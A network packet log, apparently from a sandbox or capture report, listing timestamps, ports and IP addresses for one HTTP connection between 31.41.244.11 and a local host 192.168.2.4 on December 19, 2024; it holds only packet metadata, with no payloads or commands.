Dec 19, 2024 14:10:41.535240889 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.535320044 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.536334991 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.536392927 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.536425114 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.536477089 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.537539959 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.537592888 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.537657022 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.537708998 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.538678885 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.538691044 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.538795948 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.539748907 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.539807081 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.539809942 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.539860964 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.540572882 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.540625095 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.540687084 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.540738106 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.541882992 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.541937113 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.541956902 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.541999102 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.543011904 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.543106079 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.543160915 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.544141054 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.544199944 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.544222116 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.544274092 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.545360088 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.545416117 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.545416117 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.545468092 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.546614885 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.546622038 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.546677113 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.547745943 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.547890902 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.547943115 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.549035072 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.549109936 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.549135923 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.549158096 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.550137043 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.550204992 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.550288916 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.550334930 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.551273108 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.551322937 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.551394939 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.551434994 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.552511930 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.552563906 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.552603960 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.552649975 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.553694963 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.553740025 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.553780079 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.553822994 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.554864883 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.554915905 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.554982901 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.555030107 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.556251049 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.556298018 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.556329012 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.556375980 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.557440996 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.557492018 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.557502985 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.557578087 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.558585882 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.558639050 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.688359022 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.688484907 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.688570976 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.688915968 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.689009905 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.689066887 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.689085960 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.690057039 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.690155983 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.690192938 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.690236092 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.691262007 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.691400051 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.691462040 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.692418098 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.692481041 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.692507029 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.692554951 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.693608999 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.693669081 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.693670988 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.693715096 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.694845915 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.694941044 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.695015907 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.695998907 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.696058035 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.696089983 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.696135044 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.697163105 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.697220087 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.697257042 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.697308064 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.698415041 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.698468924 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.698497057 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.698549986 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.699548960 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.699649096 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.699703932 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.700783014 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.700833082 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.700858116 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.700906038 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.701956987 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.702007055 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.702044010 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.702090025 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.703111887 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.703214884 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.703265905 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.704298973 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.704353094 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.704441071 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.704490900 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.705478907 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.705523014 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.705665112 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.705734968 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.706870079 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.706969976 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.707016945 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.708339930 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.708352089 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.708391905 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.708430052 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.709261894 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.709388018 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.710270882 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.710326910 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.711443901 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.711536884 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.712584019 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.712714911 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.713915110 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.713994980 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.714606047 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.714692116 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.715224981 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.715420961 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.715488911 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.716186047 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.716264009 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.716351986 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.716401100 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.717389107 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.717442036 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.717461109 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.717504025 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.718652010 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.718729019 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.718781948 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.719738960 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.719783068 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.719965935 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.720009089 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.721009016 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.721052885 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.721079111 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.721122980 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.722115040 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.722165108 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.722204924 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.723304987 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.723354101 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.723419905 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.723459959 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.724479914 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.724526882 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.724580050 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.724626064 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.725657940 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.725703001 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.725820065 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.725864887 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.726835966 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.726881981 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.726943970 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.728049994 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.728113890 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.728205919 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.728250027 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.729286909 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.729341984 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.729413986 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.729461908 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.730509043 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.730562925 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.730611086 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.730655909 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.731800079 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.731895924 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.731950998 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.733175993 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.733230114 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.733254910 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.733302116 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.734260082 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.734308004 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.734316111 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.734354973 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.735363960 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.735435009 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.735496998 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.736363888 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.736376047 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.736427069 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.737524986 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.737615108 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.737643957 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.737690926 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.738759041 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.738981962 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.739042044 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.739914894 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.739968061 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.740055084 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.740099907 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.741096973 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.741158009 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.741213083 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.741264105 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.742364883 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.742444038 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.742486954 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.742660046 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.743555069 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.743669033 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.743722916 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.744666100 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.744729996 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.744772911 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.744822025 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.745883942 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.745930910 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.745980024 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.746035099 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.747021914 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.747152090 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.747298002 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.748272896 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.748330116 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.748424053 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.748471975 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.749454975 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.749505043 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.749546051 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.749592066 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.750705004 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.750756025 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.880454063 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.880466938 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.880623102 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.880701065 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.880729914 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.880764008 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.880783081 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.881865025 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.881973982 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.882026911 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.882992983 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.883043051 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.883085966 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.883133888 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.884192944 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.884247065 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.884311914 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.884358883 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.885385036 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.885432959 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.885499954 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.885544062 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.886605978 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.886656046 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.886704922 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.886750937 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.887769938 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.887824059 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.887866020 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.887912989 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.888963938 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.889015913 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.889084101 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.889132977 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.890163898 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.890213013 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.890264034 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.890311956 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.891427994 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.891479969 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.891489029 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.891542912 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.892537117 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.892595053 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.892646074 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.892695904 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.893739939 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.893805027 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.893862009 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.894947052 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.895006895 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.895015955 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.895066977 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.896087885 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.896143913 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.896218061 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.896276951 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.897268057 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.897321939 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.897382021 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.897430897 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.898494005 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.898544073 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.898559093 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.898606062 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.899635077 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.899684906 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.899734974 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.899782896 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.900974989 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.901002884 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.901026964 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.901102066 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.901988029 CET	80	49837	31.41.244.11	192.168.2.4
